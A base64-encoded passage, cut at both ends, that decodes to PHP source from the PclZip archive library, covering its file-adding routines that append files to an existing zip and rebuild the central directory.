hpdmUgZG9lcyBub3QgZXhpc3QsIGl0IGlzIGNyZWF0ZWQuCgkJLy8gUGFyYW1ldGVycyA6CgkJLy8gICAkcF9maWxlbGlzdCA6IEFuIGFycmF5IGNvbnRhaW5pbmcgZmlsZSBvciBkaXJlY3RvcnkgbmFtZXMsIG9yCgkJLy8gICAgICAgICAgICAgICAgIGEgc3RyaW5nIGNvbnRhaW5pbmcgb25lIGZpbGVuYW1lIG9yIG9uZSBkaXJlY3RvcnkgbmFtZSwgb3IKCQkvLyAgICAgICAgICAgICAgICAgYSBzdHJpbmcgY29udGFpbmluZyBhIGxpc3Qgb2YgZmlsZW5hbWVzIGFuZC9vciBkaXJlY3RvcnkKCQkvLyAgICAgICAgICAgICAgICAgbmFtZXMgc2VwYXJhdGVkIGJ5IHNwYWNlcy4KCQkvLyAgICRwX2FkZF9kaXIgOiBBIHBhdGggdG8gYWRkIGJlZm9yZSB0aGUgcmVhbCBwYXRoIG9mIHRoZSBhcmNoaXZlZCBmaWxlLAoJCS8vICAgICAgICAgICAgICAgIGluIG9yZGVyIHRvIGhhdmUgaXQgbWVtb3JpemVkIGluIHRoZSBhcmNoaXZlLgoJCS8vICAgJHBfcmVtb3ZlX2RpciA6IEEgcGF0aCB0byByZW1vdmUgZnJvbSB0aGUgcmVhbCBwYXRoIG9mIHRoZSBmaWxlIHRvIGFyY2hpdmUsCgkJLy8gICAgICAgICAgICAgICAgICAgaW4gb3JkZXIgdG8gaGF2ZSBhIHNob3J0ZXIgcGF0aCBtZW1vcml6ZWQgaW4gdGhlIGFyY2hpdmUuCgkJLy8gICAgICAgICAgICAgICAgICAgV2hlbiAkcF9hZGRfZGlyIGFuZCAkcF9yZW1vdmVfZGlyIGFyZSBzZXQsICRwX3JlbW92ZV9kaXIKCQkvLyAgICAgICAgICAgICAgICAgICBpcyByZW1vdmVkIGZpcnN0LCBiZWZvcmUgJHBfYWRkX2RpciBpcyBhZGRlZC4KCQkvLyBPcHRpb25zIDoKCQkvLyAgIFBDTFpJUF9PUFRfQUREX1BBVEggOgoJCS8vICAgUENMWklQX09QVF9SRU1PVkVfUEFUSCA6CgkJLy8gICBQQ0xaSVBfT1BUX1JFTU9WRV9BTExfUEFUSCA6CgkJLy8gICBQQ0xaSVBfT1BUX0NPTU1FTlQgOgoJCS8vICAgUENMWklQX09QVF9BRERfQ09NTUVOVCA6CgkJLy8gICBQQ0xaSVBfT1BUX1BSRVBFTkRfQ09NTUVOVCA6CgkJLy8gICBQQ0xaSVBfQ0JfUFJFX0FERCA6CgkJLy8gICBQQ0xaSVBfQ0JfUE9TVF9BREQgOgoJCS8vIFJldHVybiBWYWx1ZXMgOgoJCS8vICAgMCBvbiBmYWlsdXJlLAoJCS8vICAgVGhlIGxpc3Qgb2YgdGhlIGFkZGVkIGZpbGVzLCB3aXRoIGEgc3RhdHVzIG9mIHRoZSBhZGQgYWN0aW9uLgoJCS8vICAgKHNlZSBQY2xaaXA6Omxpc3RDb250ZW50KCkgZm9yIGxpc3QgZW50cnkgZm9ybWF0KQoJCS8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgkJZnVuY3Rpb24gX2FkZCgkcF9maWxlbGlzdCkKCQl7CgkJJHZfcmVzdWx0PTE7CgoJCS8vIC0tLS0tIFJlc2V0IHRoZSBlcnJvciBoYW5kbGVyCgkJJHRoaXMtPl96YS0+cHJpdkVycm9yUmVzZXQoKTsKCgkJLy8gLS0tLS0gU2V0IGRlZmF1bHQgdmFsdWVzCgkJJHZfb3B0aW9ucyA9IGFycmF5KCk7CgkJJHZfb3B0aW9uc1tQQ0xaSVBfT1BUX05PX0NPTVBSRVNTSU9OXSA9IEZBTFNFOwoKCQkvLyAtLS0tLSBMb29rIGZvciB2YXJpYWJsZSBvcHRpb25zIGFyZ3VtZW50cwoJCSR2X3NpemUgPSBmdW5jX251bV9hcmdzKCk7CgoJCS8vIC0tLS0tIExvb2sgZm9yIGFyZ3VtZW50cwoJCWlmICgkdl9zaXplID4gMSkgewoJCSAgLy8gLS0tLS0gR2V0IHRoZSBhcmd1bWVudHMKCQkgICR2X2FyZ19saXN0ID0gZnVuY19nZXRfYXJncygpOwoKCQkgIC8vIC0tLS0tIFJlbW92ZSBmb3JtIHRoZSBvcHRpb25zIGxpc3QgdGhlIGZpcnN0IGFyZ3VtZW50CgkJICBhcnJheV9zaGlmdCgkdl9hcmdfbGlzdCk7CgkJICAkdl9zaXplLS07CgoJCSAgLy8gLS0tLS0gTG9vayBmb3IgZmlyc3QgYXJnCgkJICBpZiAoKGlzX2ludGVnZXIoJHZfYXJnX2xpc3RbMF0pKSAmJiAoJHZfYXJnX2xpc3RbMF0gPiA3NzAwMCkpIHsKCgkJCS8vIC0tLS0tIFBhcnNlIHRoZSBvcHRpb25zCgkJCSR2X3Jlc3VsdCA9ICR0aGlzLT5femEtPnByaXZQYXJzZU9wdGlvbnMoJHZfYXJnX2xpc3QsICR2X3NpemUsICR2X29wdGlvbnMsCgkJCQkJCQkJCQkJCWFycmF5IChQQ0xaSVBfT1BUX1JFTU9WRV9QQVRIID0+ICdvcHRpb25hbCcsCgkJCQkJCQkJCQkJCQkgICBQQ0xaSVBfT1BUX1JFTU9WRV9BTExfUEFUSCA9PiAnb3B0aW9uYWwnLAoJCQkJCQkJCQkJCQkJICAgUENMWklQX09QVF9BRERfUEFUSCA9PiAnb3B0aW9uYWwnLAoJCQkJCQkJCQkJCQkJICAgUENMWklQX0NCX1BSRV9BREQgPT4gJ29wdGlvbmFsJywKCQkJCQkJCQkJCQkJCSAgIFBDTFpJUF9DQl9QT1NUX0FERCA9PiAnb3B0aW9uYWwnLAoJCQkJCQkJCQkJCQkJICAgUENMWklQX09QVF9OT19DT01QUkVTU0lPTiA9PiAnb3B0aW9uYWwnLAoJCQkJCQkJCQkJCQkJICAgUENMWklQX09QVF9DT01NRU5UID0+ICdvcHRpb25hbCcsCgkJCQkJCQkJCQkJCQkgICBQQ0xaSVBfT1BUX0FERF9DT01NRU5UID0+ICdvcHRpb25hbCcsCgkJCQkJCQkJCQkJCQkgICBQQ0xaSVBfT1BUX1BSRVBFTkRfQ09NTUVOVCA9PiAnb3B0aW9uYWwnLAoJCQkJCQkJCQkJCQkJICAgUENMWklQX09QVF9URU1QX0ZJTEVfVEhSRVNIT0xEID0+ICdvcHRpb25hbCcsCgkJCQkJCQkJCQkJCQkgICBQQ0xaSVBfT1BUX1RFTVBfRklMRV9PTiA9PiAnb3B0aW9uYWwnLAoJCQkJCQkJCQkJCQkJICAgUENMWklQX09QVF9URU1QX0ZJTEVfT0ZGID0+ICdvcHRpb25hbCcKCQkJCQkJCQkJCQkJCSAgIC8vLCBQQ0xaSVBfT1BUX0NSWVBUID0+ICdvcHRpb25hbCcKCQkJCQkJCQkJCQkJCSAgICkpOwoJCQlpZiAoJHZfcmVzdWx0ICE9IDEpIHsKCQkJICByZXR1cm4gMDsKCQkJfQoJCSAgfQoKCQkgIC8vIC0tLS0tIExvb2sgZm9yIDIgYXJncwoJCSAgLy8gSGVyZSB3ZSBuZWVkIHRvIHN1cHBvcnQgdGhlIGZpcnN0IGhpc3RvcmljIHN5bm9wc2lzIG9mIHRoZQoJCSAgLy8gbWV0aG9kLgoJCSAgZWxzZSB7CgoJCQkvLyAtLS0tLSBHZXQgdGhlIGZpcnN0IGFyZ3VtZW50CgkJCSR2X29wdGlvbnNbUENMWklQX09QVF9BRERfUEFUSF0gPSAkdl9hZGRfcGF0aCA9ICR2X2FyZ19saXN0WzBdOwoKCQkJLy8gLS0tLS0gTG9vayBmb3IgdGhlIG9wdGlvbmFsIHNlY29uZCBhcmd1bWVudAoJCQlpZiAoJHZfc2l6ZSA9PSAyKSB7CgkJCSAgJHZfb3B0aW9uc1tQQ0xaSVBfT1BUX1JFTU9WRV9QQVRIXSA9ICR2X2FyZ19saXN0WzFdOwoJCQl9CgkJCWVsc2UgaWYgKCR2X3NpemUgPiAyKSB7CgkJCSAgLy8gLS0tLS0gRXJyb3IgbG9nCgkJCSAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9JTlZBTElEX1BBUkFNRVRFUiwgIkludmFsaWQgbnVtYmVyIC8gdHlwZSBvZiBhcmd1bWVudHMiKTsKCgkJCSAgLy8gLS0tLS0gUmV0dXJuCgkJCSAgcmV0dXJuIDA7CgkJCX0KCQkgIH0KCQl9CgoJCS8vIC0tLS0tIExvb2sgZm9yIGRlZmF1bHQgb3B0aW9uIHZhbHVlcwoJCSR0aGlzLT5femEtPnByaXZPcHRpb25EZWZhdWx0VGhyZXNob2xkKCR2X29wdGlvbnMpOwoKCQkvLyAtLS0tLSBJbml0CgkJJHZfc3RyaW5nX2xpc3QgPSBhcnJheSgpOwoJCSR2X2F0dF9saXN0ID0gYXJyYXkoKTsKCQkkdl9maWxlZGVzY3JfbGlzdCA9IGFycmF5KCk7CgkJJHBfcmVzdWx0X2xpc3QgPSBhcnJheSgpOwoKCQkvLyAtLS0tLSBMb29rIGlmIHRoZSAkcF9maWxlbGlzdCBpcyByZWFsbHkgYW4gYXJyYXkKCQlpZiAoaXNfYXJyYXkoJHBfZmlsZWxpc3QpKSB7CgoJCSAgLy8gLS0tLS0gTG9vayBpZiB0aGUgZmlyc3QgZWxlbWVudCBpcyBhbHNvIGFuIGFycmF5CgkJICAvLyAgICAgICBUaGlzIHdpbGwgbWVhbiB0aGF0IHRoaXMgaXMgYSBmaWxlIGRlc2NyaXB0aW9uIGVudHJ5CgkJICBpZiAoaXNzZXQoJHBfZmlsZWxpc3RbMF0pICYmIGlzX2FycmF5KCRwX2ZpbGVsaXN0WzBdKSkgewoJCQkkdl9hdHRfbGlzdCA9ICRwX2ZpbGVsaXN0OwoJCSAgfQoKCQkgIC8vIC0tLS0tIFRoZSBsaXN0IGlzIGEgbGlzdCBvZiBzdHJpbmcgbmFtZXMKCQkgIGVsc2UgewoJCQkkdl9zdHJpbmdfbGlzdCA9ICRwX2ZpbGVsaXN0OwoJCSAgfQoJCX0KCgkJLy8gLS0tLS0gTG9vayBpZiB0aGUgJHBfZmlsZWxpc3QgaXMgYSBzdHJpbmcKCQllbHNlIGlmIChpc19zdHJpbmcoJHBfZmlsZWxpc3QpKSB7CgkJICAvLyAtLS0tLSBDcmVhdGUgYSBsaXN0IGZyb20gdGhlIHN0cmluZwoJCSAgJHZfc3RyaW5nX2xpc3QgPSBleHBsb2RlKFBDTFpJUF9TRVBBUkFUT1IsICRwX2ZpbGVsaXN0KTsKCQl9CgoJCS8vIC0tLS0tIEludmFsaWQgdmFyaWFibGUgdHlwZSBmb3IgJHBfZmlsZWxpc3QKCQllbHNlIHsKCQkgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfSU5WQUxJRF9QQVJBTUVURVIsICJJbnZhbGlkIHZhcmlhYmxlIHR5cGUgJyIuZ2V0dHlwZSgkcF9maWxlbGlzdCkuIicgZm9yIHBfZmlsZWxpc3QiKTsKCQkgIHJldHVybiAwOwoJCX0KCgkJLy8gLS0tLS0gUmVmb3JtYXQgdGhlIHN0cmluZyBsaXN0CgkJaWYgKHNpemVvZigkdl9zdHJpbmdfbGlzdCkgIT0gMCkgewoJCSAgZm9yZWFjaCAoJHZfc3RyaW5nX2xpc3QgYXMgJHZfc3RyaW5nKSB7CgkJCSR2X2F0dF9saXN0W11bUENMWklQX0FUVF9GSUxFX05BTUVdID0gJHZfc3RyaW5nOwoJCSAgfQoJCX0KCgkJLy8gLS0tLS0gRm9yIGVhY2ggZmlsZSBpbiB0aGUgbGlzdCBjaGVjayB0aGUgYXR0cmlidXRlcwoJCSR2X3N1cHBvcnRlZF9hdHRyaWJ1dGVzCgkJPSBhcnJheSAoIFBDTFpJUF9BVFRfRklMRV9OQU1FID0+ICdtYW5kYXRvcnknCgkJCQkgLFBDTFpJUF9BVFRfRklMRV9ORVdfU0hPUlRfTkFNRSA9PiAnb3B0aW9uYWwnCgkJCQkgLFBDTFpJUF9BVFRfRklMRV9ORVdfRlVMTF9OQU1FID0+ICdvcHRpb25hbCcKCQkJCSAsUENMWklQX0FUVF9GSUxFX01USU1FID0+ICdvcHRpb25hbCcKCQkJCSAsUENMWklQX0FUVF9GSUxFX0NPTlRFTlQgPT4gJ29wdGlvbmFsJwoJCQkJICxQQ0xaSVBfQVRUX0ZJTEVfQ09NTUVOVCA9PiAnb3B0aW9uYWwnCgkJCQkJCQkpOwoJCWZvcmVhY2ggKCR2X2F0dF9saXN0IGFzICR2X2VudHJ5KSB7CgkJICAkdl9yZXN1bHQgPSAkdGhpcy0+X3phLT5wcml2RmlsZURlc2NyUGFyc2VBdHQoJHZfZW50cnksCgkJCQkJCQkJCQkJCSAgICR2X2ZpbGVkZXNjcl9saXN0W10sCgkJCQkJCQkJCQkJCSAgICR2X29wdGlvbnMsCgkJCQkJCQkJCQkJCSAgICR2X3N1cHBvcnRlZF9hdHRyaWJ1dGVzKTsKCQkgIGlmICgkdl9yZXN1bHQgIT0gMSkgewoJCQlyZXR1cm4gMDsKCQkgIH0KCQl9CgoJCS8vIC0tLS0tIEV4cGFuZCB0aGUgZmlsZWxpc3QgKGV4cGFuZCBkaXJlY3RvcmllcykKCQkkdl9yZXN1bHQgPSAkdGhpcy0+X3phLT5wcml2RmlsZURlc2NyRXhwYW5kKCR2X2ZpbGVkZXNjcl9saXN0LCAkdl9vcHRpb25zKTsKCQlpZiAoJHZfcmVzdWx0ICE9IDEpIHsKCQkgIHJldHVybiAwOwoJCX0KCgkJLy8gLS0tLS0gQ2FsbCB0aGUgY3JlYXRlIGZjdAoJCSR2X3Jlc3VsdCA9ICR0aGlzLT5wcml2QWRkKCR2X2ZpbGVkZXNjcl9saXN0LCAkcF9yZXN1bHRfbGlzdCwgJHZfb3B0aW9ucyk7CgkJaWYgKCR2X3Jlc3VsdCAhPSAxKSB7CgkJICByZXR1cm4gMDsKCQl9CgoJCS8vIC0tLS0tIFJldHVybgoJCXJldHVybiAkcF9yZXN1bHRfbGlzdDsKCQl9CgkJLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgkJLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCQkvLyBGdW5jdGlvbiA6IHByaXZBZGQoKQoJCS8vIERlc2NyaXB0aW9uIDoKCQkvLyBQYXJhbWV0ZXJzIDoKCQkvLyBSZXR1cm4gVmFsdWVzIDoKCQkvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoJCWZ1bmN0aW9uIHByaXZBZGQoJHBfZmlsZWRlc2NyX2xpc3QsICYkcF9yZXN1bHRfbGlzdCwgJiRwX29wdGlvbnMpCgkJewoJCSR2X3Jlc3VsdD0xOwoJCSR2X2xpc3RfZGV0YWlsID0gYXJyYXkoKTsKCgkJLy8gLS0tLS0gTG9vayBpZiB0aGUgYXJjaGl2ZSBleGlzdHMgb3IgaXMgZW1wdHkKCQlpZiAoKCFpc19maWxlKCR0aGlzLT5femEtPnppcG5hbWUpKSB8fCAoZmlsZXNpemUoJHRoaXMtPl96YS0+emlwbmFtZSkgPT0gMCkpCgkJewoKCQkgIC8vIC0tLS0tIERvIGEgY3JlYXRlCgkJICAkdl9yZXN1bHQgPSAkdGhpcy0+X3phLT5wcml2Q3JlYXRlKCRwX2ZpbGVkZXNjcl9saXN0LCAkcF9yZXN1bHRfbGlzdCwgJHBfb3B0aW9ucyk7CgoJCSAgLy8gLS0tLS0gUmV0dXJuCgkJICByZXR1cm4gJHZfcmVzdWx0OwoJCX0KCQkvLyAtLS0tLSBNYWdpYyBxdW90ZXMgdHJpY2sKCQkkdGhpcy0+X3phLT5wcml2RGlzYWJsZU1hZ2ljUXVvdGVzKCk7CgoJCS8vIC0tLS0tIE9wZW4gdGhlIHppcCBmaWxlCgkJaWYgKCgkdl9yZXN1bHQ9JHRoaXMtPl96YS0+cHJpdk9wZW5GZCgncmInKSkgIT0gMSkKCQl7CgkJICAvLyAtLS0tLSBNYWdpYyBxdW90ZXMgdHJpY2sKCQkgICR0aGlzLT5femEtPnByaXZTd2FwQmFja01hZ2ljUXVvdGVzKCk7CgoJCSAgLy8gLS0tLS0gUmV0dXJuCgkJICByZXR1cm4gJHZfcmVzdWx0OwoJCX0KCgkJLy8gLS0tLS0gUmVhZCB0aGUgY2VudHJhbCBkaXJlY3RvcnkgaW5mb3JtYXRpb25zCgkJJHZfY2VudHJhbF9kaXIgPSBhcnJheSgpOwoJCWlmICgoJHZfcmVzdWx0ID0gJHRoaXMtPl96YS0+cHJpdlJlYWRFbmRDZW50cmFsRGlyKCR2X2NlbnRyYWxfZGlyKSkgIT0gMSkKCQl7CgkJICAkdGhpcy0+X3phLT5wcml2Q2xvc2VGZCgpOwoJCSAgJHRoaXMtPl96YS0+cHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKTsKCQkgIHJldHVybiAkdl9yZXN1bHQ7CgkJfQoKCQkvLyAtLS0tLSBHbyB0byBiZWdpbm5pbmcgb2YgRmlsZQoJCUByZXdpbmQoJHRoaXMtPl96YS0+emlwX2ZkKTsKCgkJLy8gLS0tLS0gQ3JlYXRlcyBhIHRlbXBvcmF5IGZpbGUKCQkkdl96aXBfdGVtcF9uYW1lID0gUENMWklQX1RFTVBPUkFSWV9ESVIudW5pcWlkKCdwY2x6aXAtJykuJy50bXAnOwoKCQkvLyAtLS0tLSBPcGVuIHRoZSB0ZW1wb3JhcnkgZmlsZSBpbiB3cml0ZSBtb2RlCgkJaWYgKCgkdl96aXBfdGVtcF9mZCA9IEBmb3Blbigkdl96aXBfdGVtcF9uYW1lLCAnd2InKSkgPT0gMCkKCQl7CgkJICAkdGhpcy0+X3phLT5wcml2Q2xvc2VGZCgpOwoJCSAgJHRoaXMtPl96YS0+cHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKTsKCgkJICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX1JFQURfT1BFTl9GQUlMLCAnVW5hYmxlIHRvIG9wZW4gdGVtcG9yYXJ5IGZpbGUgXCcnLiR2X3ppcF90ZW1wX25hbWUuJ1wnIGluIGJpbmFyeSB3cml0ZSBtb2RlJyk7CgoJCSAgLy8gLS0tLS0gUmV0dXJuCgkJICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKCQl9CgoJCS8vIC0tLS0tIENvcHkgdGhlIGZpbGVzIGZyb20gdGhlIGFyY2hpdmUgdG8gdGhlIHRlbXBvcmFyeSBmaWxlCgkJLy8gVEJDIDogSGVyZSBJIHNob3VsZCBiZXR0ZXIgYXBwZW5kIHRoZSBmaWxlIGFuZCBnbyBiYWNrIHRvIGVyYXNlIHRoZSBjZW50cmFsIGRpcgoJCSR2X3NpemUgPSAkdl9jZW50cmFsX2Rpclsnb2Zmc2V0J107CgkJd2hpbGUgKCR2X3NpemUgIT0gMCkKCQl7CgkJICAkdl9yZWFkX3NpemUgPSAoJHZfc2l6ZSA8IFBDTFpJUF9SRUFEX0JMT0NLX1NJWkUgPyAkdl9zaXplIDogUENMWklQX1JFQURfQkxPQ0tfU0laRSk7CgkJICAkdl9idWZmZXIgPSBmcmVhZCgkdGhpcy0+X3phLT56aXBfZmQsICR2X3JlYWRfc2l6ZSk7CgkJICBAZndyaXRlKCR2X3ppcF90ZW1wX2ZkLCAkdl9idWZmZXIsICR2X3JlYWRfc2l6ZSk7CgkJICAkdl9zaXplIC09ICR2X3JlYWRfc2l6ZTsKCQl9CgoJCS8vIC0tLS0tIFN3YXAgdGhlIGZpbGUgZGVzY3JpcHRvcgoJCS8vIEhlcmUgaXMgYSB0cmljayA6IEkgc3dhcCB0aGUgdGVtcG9yYXJ5IGZkIHdpdGggdGhlIHppcCBmZCwgaW4gb3JkZXIgdG8gdXNlCgkJLy8gdGhlIGZvbGxvd2luZyBtZXRob2RzIG9uIHRoZSB0ZW1wb3JhcnkgZmlsIGFuZCBub3QgdGhlIHJlYWwgYXJjaGl2ZQoJCSR2X3N3YXAgPSAkdGhpcy0+X3phLT56aXBfZmQ7CgkJJHRoaXMtPl96YS0+emlwX2ZkID0gJHZfemlwX3RlbXBfZmQ7CgkJJHZfemlwX3RlbXBfZmQgPSAkdl9zd2FwOwoKCQkvLyAtLS0tLSBBZGQgdGhlIGZpbGVzCgkJJHZfaGVhZGVyX2xpc3QgPSBhcnJheSgpOwoJCWlmICgoJHZfcmVzdWx0ID0gJHRoaXMtPl96YS0+cHJpdkFkZEZpbGVMaXN0KCRwX2ZpbGVkZXNjcl9saXN0LCAkdl9oZWFkZXJfbGlzdCwgJHBfb3B0aW9ucykpICE9IDEpCgkJewoJCSAgZmNsb3NlKCR2X3ppcF90ZW1wX2ZkKTsKCQkgICR0aGlzLT5femEtPnByaXZDbG9zZUZkKCk7CgkJICBAdW5saW5rKCR2X3ppcF90ZW1wX25hbWUpOwoJCSAgJHRoaXMtPl96YS0+cHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKTsKCgkJICAvLyAtLS0tLSBSZXR1cm4KCQkgIHJldHVybiAkdl9yZXN1bHQ7CgkJfQoKCQkvLyAtLS0tLSBTdG9yZSB0aGUgb2Zmc2V0IG9mIHRoZSBjZW50cmFsIGRpcgoJCSR2X29mZnNldCA9IEBmdGVsbCgkdGhpcy0+X3phLT56aXBfZmQpOwoKCQkvLyAtLS0tLSBDb3B5IHRoZSBibG9jayBvZiBmaWxlIGhlYWRlcnMgZnJvbSB0aGUgb2xkIGFyY2hpdmUKCQkkdl9zaXplID0gJHZfY2VudHJhbF9kaXJbJ3NpemUnXTsKCQl3aGlsZSAoJHZfc2l6ZSAhPSAwKQoJCXsKCQkgICR2X3JlYWRfc2l6ZSA9ICgkdl9zaXplIDwgUENMWklQX1JFQURfQkxPQ0tfU0laRSA/ICR2X3NpemUgOiBQQ0xaSVBfUkVBRF9CTE9DS19TSVpFKTsKCQkgICR2X2J1ZmZlciA9IEBmcmVhZCgkdl96aXBfdGVtcF9mZCwgJHZfcmVhZF9zaXplKTsKCQkgIEBmd3JpdGUoJHRoaXMtPl96YS0+emlwX2ZkLCAkdl9idWZmZXIsICR2X3JlYWRfc2l6ZSk7CgkJICAkdl9zaXplIC09ICR2X3JlYWRfc2l6ZTsKCQl9CgoJCS8vIC0tLS0tIENyZWF0ZSB0aGUgQ2VudHJhbCBEaXIgZmlsZXMgaGVhZGVyCgkJZm9yICgkaT0wLCAkdl9jb3VudD0wOyAkaTxzaXplb2YoJHZfaGVhZGVyX2xpc3QpOyAkaSsrKQoJCXsKCQkgIC8vIC0tLS0tIENyZWF0ZSB0aGUgZmlsZSBoZWFkZXIKCQkgIGlmICgkdl9oZWFkZXJfbGlzdFskaV1bJ3N0YXR1cyddID09ICdvaycpIHsKCQkJaWYgKCgkdl9yZXN1bHQgPSAkdGhpcy0+X3phLT5wcml2V3JpdGVDZW50cmFsRmlsZUhlYWRlcigkdl9oZWFkZXJfbGlzdFskaV0pKSAhPSAxKSB7CgkJCSAgZmNsb3NlKCR2X3ppcF90ZW1wX2ZkKTsKCQkJICAkdGhpcy0+X3phLT5wcml2Q2xvc2VGZCgpOwoJCQkgIEB1bmxpbmsoJHZfemlwX3RlbXBfbmFtZSk7CgkJCSAgJHRoaXMtPl96YS0+cHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKTsKCgkJCSAgLy8gLS0tLS0gUmV0dXJuCgkJCSAgcmV0dXJuICR2X3Jlc3VsdDsKCQkJfQoJCQkkdl9jb3VudCsrOwoJCSAgfQoKCQkgIC8vIC0tLS0tIFRyYW5zZm9ybSB0aGUgaGVhZGVyIHRvIGEgJ3VzYWJsZScgaW5mbwoJCSAgJHRoaXMtPl96YS0+cHJpdkNvbnZlcnRIZWFkZXIyRmlsZUluZm8oJHZfaGVhZGVyX2xpc3RbJGldLCAkcF9yZXN1bHRfbGlzdFskaV0pOwoJCX0KCgkJLy8gLS0tLS0gWmlwIGZpbGUgY29tbWVudAoJCSR2X2NvbW1lbnQgPSAkdl9jZW50cmFsX2RpclsnY29tbWVudCddOwoJCWlmIChpc3NldCgkcF9vcHRpb25zW1BDTFpJUF9PUFRfQ09NTUVOVF0pKSB7CgkJICAkdl9jb21tZW50ID0gJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX0NPTU1FTlRdOwoJCX0KCQlpZiAoaXNzZXQoJHBfb3B0aW9uc1tQQ0xaSVBfT1BUX0FERF9DT01NRU5UXSkpIHsKCQkgICR2X2NvbW1lbnQgPSAkdl9jb21tZW50LiRwX29wdGlvbnNbUENMWklQX09QVF9BRERfQ09NTUVOVF07CgkJfQoJCWlmIChpc3NldCgkcF9vcHRpb25zW1BDTFpJUF9PUFRfUFJFUEVORF9DT01NRU5UXSkpIHsKCQkgICR2X2NvbW1lbnQgPSAkcF9vcHRpb25zW1BDTFpJUF9PUFRfUFJFUEVORF9DT01NRU5UXS4kdl9jb21tZW50OwoJCX0KCgkJLy8gLS0tLS0gQ2FsY3VsYXRlIHRoZSBzaXplIG9mIHRoZSBjZW50cmFsIGhlYWRlcgoJCSR2X3NpemUgPSBAZnRlbGwoJHRoaXMtPl96YS0+emlwX2ZkKS0kdl9vZmZzZXQ7CgoJCS8vIC0tLS0tIENyZWF0ZSB0aGUgY2VudHJhbCBkaXIgZm9vdGVyCgkJaWYgKCgkdl9yZXN1bHQgPSAkdGhpcy0+X3phLT5wcml2V3JpdGVDZW50cmFsSGVhZGVyKCR2X2NvdW50KyR2X2NlbnRyYWxfZGlyWydlbnRyaWVzJ10sICR2X3NpemUsICR2X29mZnNldCwgJHZfY29tbWVudCkpICE9IDEpCgkJewoJCSAgLy8gLS0tLS0gUmVzZXQgdGhlIGZpbGUgbGlzdAoJCSAgdW5zZXQoJHZfaGVhZGVyX2xpc3QpOwoJCSAgJHRoaXMtPl96YS0+cHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKTsKCgkJICAvLyAtLS0tLSBSZXR1cm4KCQkgIHJldHVybiAkdl9yZXN1bHQ7CgkJfQoKCQkvLyAtLS0tLSBTd2FwIGJhY2sgdGhlIGZpbGUgZGVzY3JpcHRvcgoJCSR2X3N3YXAgPSAkdGhpcy0+X3phLT56aXBfZmQ7CgkJJHRoaXMtPl96YS0+emlwX2ZkID0gJHZfemlwX3RlbXBfZmQ7CgkJJHZfemlwX3RlbXBfZmQgPSAkdl9zd2FwOwoKCQkvLyAtLS0tLSBDbG9zZQoJCSR0aGlzLT5femEtPnByaXZDbG9zZUZkKCk7CgoJCS8vIC0tLS0tIENsb3NlIHRoZSB0ZW1wb3JhcnkgZmlsZQoJCUBmY2xvc2UoJHZfemlwX3RlbXBfZmQpOwoKCQkvLyAtLS0tLSBNYWdpYyBxdW90ZXMgdHJpY2sKCQkkdGhpcy0+X3phLT5wcml2U3dhcEJhY2tNYWdpY1F1b3RlcygpOwoKCQkvLyAtLS0tLSBEZWxldGUgdGhlIHppcCBmaWxlCgkJLy8gVEJDIDogSSBzaG91bGQgdGVzdCB0aGUgcmVzdWx0IC4uLgoJCUB1bmxpbmsoJHRoaXMtPl96YS0+emlwbmFtZSk7CgoJCS8vIC0tLS0tIFJlbmFtZSB0aGUgdGVtcG9yYXJ5IGZpbGUKCQkvLyBUQkMgOiBJIHNob3VsZCB0ZXN0IHRoZSByZXN1bHQgLi4uCgkJLy9AcmVuYW1lKCR2X3ppcF90ZW1wX25hbWUsICR0aGlzLT56aXBuYW1lKTsKCQlQY2xaaXBVdGlsUmVuYW1lKCR2X3ppcF90ZW1wX25hbWUsICR0aGlzLT5femEtPnppcG5hbWUpOwoKCQkvLyAtLS0tLSBSZXR1cm4KCQlyZXR1cm4gJHZfcmVzdWx0OwoJCX0KCQkvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKCQkvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoJCS8vIEZ1bmN0aW9uIDoKCQkvLyAgIGdyb3coJHBfZmlsZWxpc3QsICRwX2FkZF9kaXI9IiIsICRwX3JlbW92ZV9kaXI9IiIpCgkJLy8gICBncm93KCRwX2ZpbGVsaXN0LCAkcF9vcHRpb24sICRwX29wdGlvbl92YWx1ZSwgLi4uKQoJCS8vIERlc2NyaXB0aW9uIDoKCQkvLyAgIFRoaXMgbWV0aG9kIHN1cHBvcnRzIHR3byBzeW5vcHNpcy4gVGhlIGZpcnN0IG9uZSBpcyBoaXN0b3JpY2FsLgoJCS8vICAgVGhpcyBtZXRob2RzIGFkZCB0aGUgbGlzdCBvZiBmaWxlcyBpbiBhbiBleGlzdGluZyBhcmNoaXZlLgoJCS8vICAgSWYgYSBmaWxlIHdpdGggdGhlIHNhbWUgbmFtZSBhbHJlYWR5IGV4aXN0cywgaXQgaXMgYWRkZWQgYXQgdGhlIGVuZCBvZiB0aGUKCQkvLyAgIGFyY2hpdmUsI